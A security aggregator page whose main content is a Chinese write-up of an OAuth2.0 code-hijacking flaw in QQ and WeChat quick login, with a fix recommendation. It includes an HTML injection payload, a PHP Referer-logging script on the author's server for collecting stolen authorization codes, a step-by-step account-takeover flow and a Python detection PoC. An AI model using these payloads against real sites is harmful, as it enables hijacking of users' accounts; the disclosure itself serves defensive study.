Aggregator
Risky Business (Part 3): The Beauty of Risk Transfer
February 2018 security update release
February 2018 security update release
OAuth2.0认证缺陷-第三方帐号快捷登录授权劫持漏洞
OAuth2.0是OAuth协议的下一版本,但不向后兼容OAuth 1.0即完全废止了OAuth1.0。 OAuth 2.0关注客户端开发者的简易性。要么通过组织在资源拥有者和HTTP服务商之间的被批准的交互动作代表用户,要么允许第三方应用代表用户获得访问的权限。同时为Web应用,桌面应用和手机,和起居室设备提供专门的认证流程。2012年10月,OAuth 2.0协议正式发布为RFC 6749 。
RFC 6749 : https://tools.ietf.org/html/rfc6749
QQ OAuth2.0 流程分析&攻击国内的很多厂商使用了OAuth2.0的认证方式,这里以QQ为例。
QQ互联 : https://connect.qq.com/intro/login
相信大家在很多网站上都见过如下的登陆界面:
可以看见除了厂商本身网站的账号以外还有QQ跟微信这两个快捷登陆,首先以QQ的快捷登陆为例子:
点击QQ图标进入登陆的链接 -> https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/?view=null&uuid=65392bc3fc724fca8dcba23558f67ec8
这里因为我的QQ是在电脑上已经登陆了,所以我可以直接进行登陆,这时候进行抓包截取整个流程,
关键流程分析Request 1:
POST /oauth2.0/authorize HTTP/1.1 Host: graph.qq.com1 Response:
HTTP/1.1 302 Moved Temporarily Server: tws Date: Fri, 09 Feb 2018 11:50:42 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=50 Content-Encoding: gzip Location: http:/a.com/?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664Request 2:(这个请求表示根据参数code的值进行个人用户凭证生成)
GET /?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664 HTTP/1.1 Host: a.com2 Response:(setcookie返回用户凭证)
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Set-Cookie: 用户凭证 Location: https://www.a.com/ Cache-Control: max-age=0这时候我们就可以注意到问题了,请求1产生了一个链接,其就是QQ登陆的地址中的参数redirect_uri附带上参数code的值,而这个链接是生成用户凭证的,所以链接中的参数code也是至关重要的,看到这里我的攻击思路已经产生了:
假设QQ登陆的地址中的参数redirect_uri的值可以为我的网站,那么只要用户A点击我就可以根据网站日志访问记录获取参数code的值再根据请求2获取用户A在 http://a.com 的账号权限。
理想很好,现实残酷:
这里QQ做了限制,我不需要去分析QQ关联的全部流程就能知道这里的参数client_id,其实就是 http://a.com 的QQ互联的服务id, http://graph.qq.com 根据client_id获取 http://a.com 的设置允许的参数redirect_uri的值再跟你输入的参数redirect_uri的值进行比较。
这时候我只需要对参数redirect_uri进行Fuzz就能知道哪些范围是允许的:
http://a.com 的二级子域名可以为参数redirect_uri的值,目前我需要解决的就是如何根据 http://a.com 的二级子域名获取到code的值:
1.我有一个HTML注入漏洞漏洞地址:http://1.a.com/?xss=%3Cimg%20src="http://www.evilchen.cn/getref.php"%3E
getref.php的内容为如下PHP代码:
<?php file_put_contents("ref.txt", $_SERVER['HTTP_REFERER']); ?>将漏洞地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了:
http://1.a.com/?xss=%3Cimg%20src=”http://www.evilchen.cn/getref.php”%3E&code=120ED71CAECB11BAD538820E12B54664
跳转之后这个链接会做为HTTP Referer的值再请求[http://www.evilchen.cn/getref.php],那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了
2.我能在其他地方引用外部资源很多厂商都会有社区、论坛等功能,大部分会使用Discuz程序来做,而Discuz确实可以引用外部资源~
这里我使用的图片地址还是 http://www.evilchen.cn/getref.php 然后进行帖子回复。
帖子地址为 http://bbs.a.com/thread-123-1-1.html 将帖子地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了:
http://bbs.a.com/thread-123-1-1.html?code=120ED71CAECB11BAD538820E12B54664
跳转之后这个链接会做为HTTP Referer的值再请求 http://www.evilchen.cn/getref.php 那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了:
攻击流程1.我点击 http://a.com 的QQ登录,获取QQ快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者2.受害者点击QQ头像登录,会跳转到redirect_uri的值(链接),并且携带上code的值
3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)
4.攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下)
微信快捷登陆流程开发平台:https://open.weixin.qq.com/
http://a.com的地址如下:
https://open.weixin.qq.com/connect/qrconnect?appid=&redirect_uri=http://a.com/wx?callback=null
微信扫描后会跳转到:
http://a.com/weixin?callback=null&code=021n2XAB00C4mg2FvKyB0W7QAB0n2XAF
而只要利用QQ快捷登陆的方法我们一样可以获取到code的值
攻击流程1.我点击http://a.com的QQ登录,获取微信快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者 2.受害者点开微信扫描,会跳转到redirect_uri的值(链接),并且携带上code的值
3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)
4.攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下)
风险检测我简单的写了个poc,仅仅做风险检测,具体危害可以自行检查~~(PS:支持微信跟QQ的快捷登陆风险检测)
# -*- coding:utf-8 -*- # Name: QQ and WeChat OAuth2.0 PoC # Auther: MSTLab(EvilChen) import requests,urlparse,urllib def scan(url): url = urllib.unquote(url) tempUrl = getValue(url) tempDomain = urlparse.urlparse(tempUrl).netloc domainA = tempDomain.split('.') domainB = tempDomain.replace(domainA[0],"mstlab") url = url.replace(tempUrl,"http://" + domainB) r = requests.get(url) # print url if ("redirect uri is illegal" in r.text) or (">redirect_uri" in r.text): print "[*] This Website is safe." else: print "[*] This Website is vulnerable!" def getValue(url): query = urlparse.urlparse(url).query resUrl = dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])['redirect_uri'] return resUrl if __name__ == '__main__': url = raw_input("URL: ") scan(url)poc的使用方法很简单,只需要复制QQ和微信快捷登陆的链接:
经过我们实验室的排查发现存在风险的厂商如下:
等国内知名厂商近百家都存在此危害。
修复建议redirect_uri的值做限制
结尾文章参考:
http://wooyun.jozxing.cc/search?keywords=OAuth&content_search_by=by_bugs
http://www.cnvd.org.cn/flaw/show/CNVD-2014-02785
http://www.cnvd.org.cn/flaw/show/CNVD-2018-01622
Joomla二阶注入(CVE-2018-6376)复现分析
跨源资源共享(CORS) 漏洞
The Email that Could Steal Your Life Savings and Leave You Homeless
IoT安全测试之测试环境说明
Meltdown and Spectre Aren’t Done Just Yet – New Malware Uses Exploits to Potentially Attack Browsers
We kicked off 2018 with two powerful new exploits: Meltdown and Spectre. And since the discovery of Meltdown and Spectre...
The post Meltdown and Spectre Aren’t Done Just Yet – New Malware Uses Exploits to Potentially Attack Browsers appeared first on McAfee Blog.
记一次借助Cobalt Strike进行的简单内网渗透
DSSS.py for python3.6 - 羊小弟
分析笔记:MS17-017 中的整数溢出漏洞
CISOs Look to Machine Learning to Augment Security Staffing Shortages
你不知道的安全行业术语
Indian Digital Citizens Need to Better Balance Their Device Use and Manage Online Safety
As Bryan Adams croons in the background (Everything I do) I do it for you…. and you give the last...
The post Indian Digital Citizens Need to Better Balance Their Device Use and Manage Online Safety appeared first on McAfee Blog.